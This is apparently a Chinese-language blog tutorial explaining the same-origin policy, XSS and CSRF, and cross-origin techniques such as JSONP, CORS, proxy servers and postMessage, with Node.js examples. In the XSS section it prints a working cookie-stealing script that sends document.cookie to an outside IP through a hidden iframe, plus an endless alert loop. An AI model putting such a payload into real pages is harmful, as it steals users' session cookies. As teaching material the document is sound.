所谓同源策略,就是“协议+域名+端口号”三者相同。即便两个域名指向同一个IP地址,也是非同源
同源策略是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,浏览器很容易收到XSS/CSRF等网络攻击。
同源策略限制的内容有:
跨域请求并不是发送不出去请求,请求能发送出去,服务器端也能接收并能正确返回结果,只是结果被浏览器拦截了。同时也说明了跨域并不能完全阻止CSRF,因为请求发送出去了。
XSS (Cross-Site Scripting) 即跨站点脚本攻击。顾名思义就是通过向网站可入js脚本来实现网络攻击
XSS攻击分为三种:
dom型和前两种xss攻击等区别是:拼接恶意代码由浏览器完成,属于前端javascript自身的安全漏洞,而其他两种属于服务器的安全漏洞。
存储型和反射型XSS攻击:两者都是服务器取出恶意代码后,插入到html里面,被浏览器执行
dom型XSS攻击:就是网站前端javascript代码不严谨,把不可信的数据当作代码执行了
输入内容长度控制:对于不受信任的输入,都应该先定一个合理的长度。虽然无法完全防止XSS发生,但可以增加XSS攻击的难度
其他安全措施:
http-only Cookie
:禁止javascript读取某些敏感cookie,攻击者完成xss注入后也无法窃取cookie
验证码:防止冒充用户提交危险的操作
检查referer:即检查请求头的来源网站,从而保证此次请求来源于信任的网站
发帖子例子1:
// 帖子内容为
while(true) {
alert('你关不掉我')
}
当用户访问我的帖子时,用户的所有操作都由我这串代码掌握。这就是最原始的脚本注入。
发帖子例子2:
//帖子内容为
<script type="text/javascript">
(function(window, document) {
var cookies = document.cookie
var xssurl = `http://192.168.123.123/myxss/${window.encodeURI(cookies)}`
var iframe_unvisible = document.createElement('iframe')
iframe_unvisible.height = 0
iframe_unvisible.width = 0
iframe_unvisible.style.display = 'none'
iframe_unvisible.src = xssurl
document.body.appendChild(iframe_unvisible)
})(window, document)
script>
当用户访问该帖子时,就会把用户的cookie信息传输到http://192.168.123.123/myxss/
这段服务器,然后服务器的代码就可以接收到了用户的隐私信息,继而继续做其他的业务处理。
但是这仅仅是XSS,并没有发生CSRF,因为仅仅盗取了用户信息,并没有“伪造”用户发起一些请求。如果192.168.123.123/myxss/index.php
写的代码是将当前用户的昵称改为“我是大笨猪”,那么就算是CSRF攻击了,因为这段代码伪造用户发出了请求(但是用户却不自知)。
CSRF (Cross-Site Request Forgery) 即跨站点伪造请求。该攻击可以在受害者毫不知情的情况下以受害者的名义伪造请求发送给受攻击站点,从而在未授权的情况下执行权限保护之下的操作具有很大的危害性。
当一个请求url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域
受限于同源策略,有些场景是需要跨域请求的。有以下几种方式可以实现:jsonp、cors、postMessage、Node中间件、window.name+iframe、window.hash+iframe、window.domain+iframe。
JSONP是利用script标签没有跨域限制的漏洞,网页可以得到从其他来源动态生成的json数据。jsonp请求一定需要对方的服务器做支持才可以。
JSONP和AJAX相同,都是客户端向服务器端发送请求,从服务器端获取数据的方式。但AJAX属于同源策略,JSONP属于非同源策略(跨域请求)。
JSONP优点是简单兼容性好,可用于解决主流浏览器的跨域数据访问的问题。缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击。
标签,把那个跨域的API数据接口地址,赋值给script的src,还要在这个地址中向服务器传递该函数名(可以通过问号传参:?callback=CALLBACK)。首先创建一个html页面,在页面内运用Promise创建一个jsonp函数,并发起jsonp请求
然后创建node.js文件,生成一个http服务,对发起的请求做处理并响应
const express = require('express')
const http = require('http')
const logger = require('morgan')
const app = express()
app.use(logger('dev'))
app.get('/users', (req, res) => {
console.log(req.query)
const { callback, ...params } = req.query
var data = `${callback}(
'这里是响应内容'
)`
res.send(data)
})
http.createServer(app).listen(8081)
运行node.js,并打开页面查看响应情况
cors(cross-origin resource sharing):跨域资源共享是一种机制,它使用额外的HTTP头来告诉浏览器,让运行一个origin上的web应用被准许访问来自不同源服务器上的指定的资源。浏览器会自动进行cors通信,实现cors通信的关键是后端。只要后端实现了cors,就实现了跨域。
根据请求情况分为简单请求和复杂请求
不满足简单请求的即为复杂请求
复杂请求的cors请求,会在正式通信之前,增加一次http查询请求,称为‘预检’请求,该请求是options方法,通过该请求来知道服务端是否允许跨域请求
创建一个html页面,用于发送跨域请求
<script>
function ajax({
method,
url,
data
}) {
return new Promise(resolve => {
const xhr = new XMLHttpRequest()
xhr.open(method, url, true)
xhr.send(data)
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304) {
resolve(xhr.response)
}
}
}
})
}
ajax({
method: 'put',
url: 'http://localhost:8081/users',
data: {
name: 's_alone',
sex: 'male'
}
}).then(data => {
console.log('response data', data)
})
script>
创建js文件用于创建http服务
const express = require('express')
const http = require('http')
const logger = require('morgan')
const app = express()
app.use(logger('dev'))
let whiteList = ['http://localhost:5500']; // 设置白名单
app.use(function(req, res, next) {
const { origin } = req.headers
if (whiteList.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin) // 设置哪个源可以访问我
// 不设置 Access-Control-Allow-Methods 默认为get post head
res.setHeader('Access-Control-Allow-Methods', 'PUT') // 允许哪个方法访问我
res.setHeader('Access-Control-Allow-Credentials', true); // 允许携带cookie
res.setHeader('Access-Control-Allow-Header', 'name'); // 允许携带哪个头来访问我
res.setHeader('Access-Control-Expose-Headers', 'name'); // 允许返回的头
console.log('method:', req.method)
if (req.method == 'OPTIONS') {
res.end(); // OPTION请求不做任何处理
} else {
next()
}
} else {
next()
}
})
app.put('/users', (req, res) => {
res.send('8081端口')
})
http.createServer(app).listen(8081)
运行node.js,并打开页面查看响应情况
同源策略是浏览器需要遵守的标准,而如果是服务器向服务器请求就无需遵循同源策略了。
虽然目标服务器(8082)不支持CORS,但是可以向一个支持CORS的代理服务器(8081)发送请求,由代理服务器转发请求到目标服务器,把目标服务器的响应返回给客户端。
首先创建html页面,发送跨域请求
<script>
function ajax({
method,
url,
data
}) {
return new Promise(resolve => {
const xhr = new XMLHttpRequest()
xhr.open(method, url, true)
xhr.send(data)
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304) {
console.log(xhr.response);
resolve(xhr.response)
}
}
}
})
}
ajax({
method: 'post',
url: 'http://localhost:8081/users',
data: {
name: 's_alone',
sex: 'male'
}
}).then(data => {
console.log('response data', data)
})
script>
创建sever8081.js及server8082.js,创建代理服务器及目标服务器
// server8081.js
const http = require('http')
const express = require('express')
const logger = require('morgan')
const app = express()
app.use(logger('dev'))
app.all('*', function(req, res) {
res.setHeader('Access-Control-Allow-Origin', '*')
res.setHeader('Access-Control-Allow-Methods', '*')
res.setHeader('Access-Control-Allow-Headers', 'Content-Type')
const { url, method, headers } = req
// 转发请求到目标服务器
const targetSrv = http.request({
host: '127.0.0.1',
port: 8082,
path: url,
method,
headers
}, response => {
let body = ''
response.on('data', (data) => {
body += data
})
// 目标服务器响应结束时,代理服务器把拿到的响应返回给客户端
response.on('end', () => {
res.end(body)
})
})
targetSrv.end()
})
http.createServer(app).listen(8081)
// server8082.js
const http = require('http')
const express = require('express')
const logger = require('morgan')
const app = express()
app.use(logger('dev'))
app.post('/users', (req, res) => {
res.end('server8082 response data')
})
http.createServer(app).listen(8082)
运行server,在页面上看效果
以上代码实现本地文件(localhost:5500)index.html文件,通过代理服务器http://localhost:8081
向目标服务器http://localhost:8082
请求数据。即使8082服务不支持跨域请求。
postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一
它可用于解决以下方面的问题:
postMessage(message, targetOrigin, [transfer])方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。
在本地3000端口有a.html页面,而在该页面中有一个用iframe内嵌的4000端口的b.html。我们要做的就是让这两个不同端口的页面相互通信。
首先创建a.html(localhost:3000)。在页面中通过postMessage向4000端口的b.html发送一个消息
创建b.html(localhost:4000)。在页面中通过监听onmessage事件,来读取消息,并用postMessage响应数据
在页面查看效果
window.name属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)
既然对于同一个窗口,它的window.name会一直保留,那么我们可以利用这个特性来实现不同域的通信
端口8001有两个页面a.html/b.html,端口8002有页面c.html。现在要实现a.html与c.html进行通信。
首先创建a.html。 b为空白页,用于代理通信
<iframe src="http://localhost:8002/c.html" frameborder="0" onload="load()" id="iframe">iframe>
<script>
let first = true
const iframe = document.getElementById('iframe')
function load() {
if (first) {
first = false
iframe.src = http://localhost:8002/b.html
} else {
console.log(iframe.contentWindow.name)
}
}
script>
然后创建c.html
<script>
window.name = '我不爱你';
script>
启动服务,打开页面,查看效果
为何要利用b页面来实现通信?虽然对于同一个窗口,它的window.name一直保留,但是对于不同的域依然遵循同源策略,所以要想访问它,就需要在同域下访问。所以就需要在这个iframe窗口打开同一端口的b页面。
window.hash + iframe:不同域可通过hash通信
端口8001有两个页面a.html/b.html,端口8002有页面c.html。在a页面中通过iframe内嵌来c页面,它hash值为a要传递给c的数据
。在页面c可通过window.location
获取a向c传递的数据,但要从c向a传递数据就不那么容易了。需要在c页面通过iframe内嵌一个与a同源的b页面,并设置hash为c要传递给a的数据
。这时b可获取它自己hash值即c要传递给a的数据
,而b与a同源所以可以直接与a的window通信-window.parent.parent.location.hash = location.hash
,这时只需要在a监听window.onhashchange
即可完成c向a的通信。
window.domain + iframe
该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式
nginx反向代理
与node代理服务器相似,只是他是代理的目标服务器而非客户端。相关实例可浏览我的另一篇文章nginx学习